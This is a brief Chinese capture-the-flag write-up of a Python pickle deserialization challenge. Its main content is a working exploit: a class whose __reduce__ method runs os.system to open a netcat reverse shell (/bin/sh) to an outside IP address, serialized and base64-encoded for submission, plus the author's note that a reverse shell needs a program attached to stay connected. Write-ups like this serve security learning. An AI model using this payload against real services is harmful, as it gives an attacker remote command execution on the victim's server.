源码
查看源代码 提示pickle,得知考点是pickle反序列化
题解
exp
试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上就会自动断开
import base64
import pickle
class shell(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 119.91.26.229 9999 -e /bin/sh')",))
k = shell()
print(base64.b64encode(pickle.dumps(k)))
总结
反弹必须要有连上以后执行的程序管道,否则就自动断开